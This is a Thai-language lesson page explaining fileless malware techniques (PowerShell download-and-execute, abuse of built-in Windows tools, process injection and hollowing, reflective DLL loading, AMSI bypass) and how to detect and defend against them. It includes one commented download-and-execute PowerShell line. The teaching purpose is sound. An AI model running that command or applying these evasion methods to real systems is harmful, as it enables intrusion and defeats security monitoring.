มัลแวร์ไร้ไฟล์และเทคนิคการทำงานในหน่วยความจำ
วิเคราะห์มัลแวร์ที่ใช้ PowerShell การแทรกโค้ดเข้าสู่กระบวนการ และการทำงานในหน่วยความจำที่ไม่ทิ้งหลักฐานบนดิสก์
มัลแวร์ไร้ไฟล์และเทคนิคการทำงานในหน่วยความจำ เป็นบทเรียน Cyber Security Academy ฟรีบน CoddyKit นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน คุณสามารถอ่านบทเรียนทั้งหมดด้านล่างฟรี — จากนั้นลองปฏิบัติด้วยตัวคุณเองในเบราว์เซอร์พร้อมตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7 บทเรียนนี้เป็นส่วนหนึ่งของเส้นทางการเรียน Cyber Security Academy และความก้าวหน้าของคุณจะซิงค์ข้ามเว็บและแอป CoddyKit คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน
มัลแวร์ไร้ไฟล์คืออะไร
มัลแวร์ไร้ไฟล์ทำงานทั้งหมดในหน่วยความจำโดยไม่เขียนไฟล์ปฏิบัติการลงดิสก์ มัลแวร์ประเภทนี้อาศัยเครื่องมือของระบบปฏิบัติการที่ถูกต้อง สภาพแวดล้อมตัวแปลคำสั่ง (PowerShell, ดับเบิลยูสคริปต์) และการฉีดโค้ดในหน่วยความจำเพื่อทำงาน โดยทิ้งร่องรอยทางนิติวิทยาศาสตร์ไว้น้อยมากจนการสแกนแบบ AV และการสแกนตามไฟล์แบบดั้งเดิมตรวจจับได้ยาก
การโจมตีด้วย PowerShell
PowerShell รองรับรูปแบบดาวน์โหลดแล้วเรียกใช้ โดย IEX (คำสั่งเรียกใช้นิพจน์) จะดาวน์โหลดและเรียกใช้สคริปต์จากอินเทอร์เน็ตโดยตรงโดยไม่แตะต้องดิสก์ เทคนิคการทำให้สับสน (การแทนที่อักขระ การเข้ารหัสแบบเบส 64 การต่อสตริง) ช่วยหลีกเลี่ยงการตรวจจับเนื้อหาสคริปต์อันตรายที่อาศัยลายเซ็น
# Example obfuscation pattern (for awareness)
# IEX (New-Object Net.WebClient).DownloadString(url)
# Often base64-encoded to evade detectionไบนารีที่ใช้ประโยชน์จากเครื่องมือในระบบ
ไบนารีประเภทนี้คือไบนารีของวินโดวส์ที่ถูกต้องตามปกติและสามารถนำมาใช้เป็นอาวุธได้ เช่น certutil.exe (ดาวน์โหลดไฟล์) mshta.exe (เรียกใช้สคริปต์ HTA) regsvr32.exe (เรียกใช้ออบเจ็กต์ COM จากระยะไกล) wmic.exe (เรียกใช้คำสั่ง) และ PowerShell (ทำได้ทุกอย่าง) ไบนารีเหล่านี้ติดตั้งมาล่วงหน้า มีลายเซ็นดิจิทัล และมักอยู่ในรายการอนุญาต
เทคนิคการฉีดโค้ดเข้าสู่กระบวนการ
การฉีดโค้ดแบบคลาสสิก: VirtualAllocEx → WriteProcessMemory → CreateRemoteThread การทำให้กระบวนการกลวง: เรียกใช้กระบวนการที่ถูกต้องตามปกติในสถานะหยุดชั่วคราว ยกเลิกการแมปโค้ดของกระบวนการ แล้วแทนที่ด้วยโค้ดอันตราย การฉีด DLL ผ่าน SetWindowsHookEx หรือ AppInit_DLLs วิธีทั้งหมดนี้เรียกใช้โค้ดอันตรายภายในกระบวนการที่เชื่อถือได้
การฉีด DLL แบบสะท้อนกลับ
การฉีด DLL แบบสะท้อนกลับจะโหลด DLL จากหน่วยความจำโดยไม่ใช้ตัวโหลดของวินโดวส์และไม่แตะต้องดิสก์ DLL จะมีตัวโหลดขนาดย่อมของตัวเอง ซึ่งแก้ไขการนำเข้าและย้ายตำแหน่งตัวเอง เมเทอร์พรีเตอร์ใช้การโหลดแบบสะท้อนกลับ จึงไม่ทิ้งไฟล์ DLL ไว้บนดิสก์
การทำให้กระบวนการกลวง (RunPE)
การทำให้กระบวนการกลวงจะสร้างกระบวนการที่ถูกต้องตามปกติ (svchost.exe) ในสถานะหยุดชั่วคราว ยกเลิกการแมปไฟล์ปฏิบัติการเดิมจากหน่วยความจำ แมปไฟล์ปฏิบัติการอันตรายลงในพื้นที่ที่อยู่เดียวกัน แล้วดำเนินการต่อ กระบวนการจะดูถูกต้องตามปกติในตัวจัดการงาน แต่กลับเรียกใช้โค้ดอันตราย
เทคนิคหลีกเลี่ยง AMSI
อินเทอร์เฟซการสแกนมัลแวร์ของไมโครซอฟท์ (AMSI) ดักจับสคริปต์ PowerShell เพื่อให้ AV สแกน ผู้โจมตีหลีกเลี่ยง AMSI ได้โดยแก้ไข AmsiScanBuffer() ในหน่วยความจำให้ส่งคืนผลลัพธ์ว่าปลอดภัยเสมอ หรือทำให้สคริปต์สับสนจนต่ำกว่าเกณฑ์การตรวจจับของ AMSI การแก้ไข AMSI สามารถตรวจจับได้ด้วย EDR
การตรวจจับ: การวิเคราะห์พฤติกรรม
มัลแวร์ไร้ไฟล์ตรวจจับได้จากพฤติกรรม ไม่ใช่จากการมีอยู่ของไฟล์ ได้แก่ PowerShell ที่สร้างการเชื่อมต่อเครือข่าย กระบวนการลูกของแอปพลิเคชันสำนักงานที่ไม่ควรเกิดขึ้น พื้นที่หน่วยความจำที่มีสิทธิ์เรียกใช้ได้แต่ไม่มีไฟล์รองรับ และอาร์กิวเมนต์บรรทัดคำสั่งของไบนารีที่ใช้ประโยชน์จากเครื่องมือในระบบซึ่งมีเนื้อหาที่เข้ารหัส
การตรวจจับด้วย ETW
การติดตามเหตุการณ์ของวินโดวส์ (ETW) ให้ข้อมูลการตรวจวัดอย่างละเอียดสำหรับแพลตฟอร์ม EDR ได้แก่ การบันทึกบล็อกสคริปต์ซึ่งเก็บเนื้อหา PowerShell ที่ถอดรหัสแล้ว การบันทึกโมดูลซึ่งบันทึก DLL ที่โหลด การสร้างกระบวนการพร้อมบรรทัดคำสั่งทั้งหมด และเหตุการณ์การเชื่อมต่อเครือข่าย ผู้ให้บริการ ETW ปิดใช้งานได้ยากสำหรับมัลแวร์โดยไม่ก่อให้เกิดการแจ้งเตือน
นิติวิทยาศาสตร์หน่วยความจำเพื่อตรวจจับมัลแวร์ไร้ไฟล์
เครื่องมือวิเคราะห์ของ Volatility สามารถระบุพื้นที่หน่วยความจำที่เรียกใช้ได้และน่าสงสัยได้ ข้อความในหน่วยความจำของกระบวนการอาจเปิดเผยที่อยู่เว็บสำหรับระบบสั่งการและควบคุมหรือสคริปต์ที่ฝังอยู่ การทำให้กระบวนการกลวงจะทำให้อิมเมจกระบวนการเดิมถูกยกเลิกการแมป ซึ่งตรวจจับได้ด้วยการเปรียบเทียบแผนผังหน่วยความจำของกระบวนการกับไฟล์ปฏิบัติการต้นฉบับบนดิสก์
การบันทึก PowerShell และโหมดภาษาจำกัด
เปิดใช้การบันทึกบล็อกสคริปต์ของ PowerShell (รหัสเหตุการณ์ ID 4104) และการบันทึกโมดูลเพื่อเก็บเนื้อหาสคริปต์ที่ถอดรหัสแล้วทั้งหมด โหมดภาษาจำกัดของ PowerShell จะจำกัดการดำเนินการที่เป็นอันตราย การจัดทำรายการอนุญาตแอปพลิเคชันด้วย WDAC จะป้องกันไม่ให้การผสมผสานไบนารีที่ใช้ประโยชน์จากเครื่องมือในระบบซึ่งไม่ได้รับอนุมัติเรียกใช้สคริปต์อันตราย
ตรวจสอบความรู้
เหตุใดมัลแวร์ไร้ไฟล์จึงตรวจจับได้ยากกว่ามัลแวร์แบบดั้งเดิม
สรุป
มัลแวร์ไร้ไฟล์ใช้ประโยชน์จาก PowerShell ไบนารีที่ใช้ประโยชน์จากเครื่องมือในระบบ และการฉีดโค้ดเข้าสู่กระบวนการเพื่อทำงานทั้งหมดในหน่วยความจำ การป้องกันมัลแวร์ประเภทนี้จำเป็นต้องใช้การบันทึกบล็อกสคริปต์ การวิเคราะห์พฤติกรรมจากแพลตฟอร์ม EDR การบังคับใช้ AMSI การจัดทำรายการอนุญาตแอปพลิเคชัน และเครื่องมือนิติวิทยาศาสตร์หน่วยความจำ เช่น Volatility เพื่อระบุโค้ดที่ถูกฉีด
เรียนรู้ Cyber Security Academy ด้วย AI tutor — ฟรี
เขียนและเรียกใช้โค้ดจริงในเบราว์เซอร์ของคุณ รับความช่วยเหลือทันทีจาก AI tutor 24/7 และเรียนรู้ต่อจากที่คุณหยุดบนเว็บหรือในแอป
- คอร์ส
- 76
- บทเรียน
- 303
คำถามที่พบบ่อย
บทเรียน “มัลแวร์ไร้ไฟล์และเทคนิคการทำงานในหน่วยความจำ” ฟรีหรือไม่
ใช่ — ข้อความเต็มของ “มัลแวร์ไร้ไฟล์และเทคนิคการทำงานในหน่วยความจำ” ฟรีให้อ่านที่นี่บนเว็บ เพื่อปฏิบัติแบบโต้ตอบ (ตัวแก้ไขโค้ดในตัวและติวเตอร์ AI ตลอด 24/7) และปลดล็อคส่วนที่เหลือของคอร์ส Cyber Security Academy ให้อัปเกรดเป็น CoddyKit PRO คอร์ส Cyber Security Academy มีบทเรียนทั้งหมด 4 บทเรียน
คุณจะเรียนรู้อะไรในบทเรียน “มัลแวร์ไร้ไฟล์และเทคนิคการทำงานในหน่วยความจำ”
วิเคราะห์มัลแวร์ที่ใช้ PowerShell การแทรกโค้ดเข้าสู่กระบวนการ และการทำงานในหน่วยความจำที่ไม่ทิ้งหลักฐานบนดิสก์ คุณปฏิบัติ Cyber Security Academy ด้วยโค้ดที่ใช้งานได้จริงที่คุณเรียกใช้โดยตรงในเบราว์เซอร์ และติวเตอร์ AI ตลอด 24/7 ตอบคำถามของคุณขณะที่คุณไปผ่านบทเรียน
คุณต้องมีประสบการณ์ก่อนที่จะเริ่มเรียน Cyber Security Academy หรือไม่
ไม่จำเป็นต้องมีประสบการณ์มาก่อน Cyber Security Academy บน CoddyKit ออกแบบมาสำหรับผู้เริ่มต้นไปจนถึงผู้เรียนขั้นสูง คุณสามารถเริ่มต้นที่นี่หรือเริ่มจากตัวแรกและเรียนด้วยความเร็วของคุณเอง นี่คือบทเรียนที่ 2 จากทั้งหมด 4 บทเรียน
บทเรียน “มัลแวร์ไร้ไฟล์และเทคนิคการทำงานในหน่วยความจำ” ใช้เวลานานแค่ไหน
บทเรียน CoddyKit ส่วนใหญ่ใช้เวลาประมาณ 5–10 นาที แต่ละบทเรียนจึงสั้นและเป็นแบบโต้ตอบ คุณสามารถก้าวหน้าอย่างต่อเนื่องและกลับมาเรียนต่อจากตรงที่เพิ่งหยุดบนเว็บและแอปได้เลย
ฉันเขียนและรันโค้ดในบทเรียน Cyber Security Academy นี้ได้ไหม
ได้ บทเรียน Cyber Security Academy ทุกบทมีตัวแก้ไขโค้ดในตัว คุณจึงเขียนและรันโค้ดจริงได้เลยในเบราว์เซอร์ และได้รับข้อเสนอแนะจาก AI ในทันที — ไม่ต้องติดตั้งในเครื่องของคุณ
บทเรียนทั้งหมดในหลักสูตรนี้
- วงจรชีวิต APT: จากการเข้าถึงครั้งแรกถึงการลักลอบนำข้อมูลออก
- มัลแวร์ไร้ไฟล์และเทคนิคการทำงานในหน่วยความจำ
- C2 ผ่าน HTTPS และการทำอุโมงค์ DNS
- การระบุแหล่งที่มาของภัยคุกคามและติดตามแคมเปญ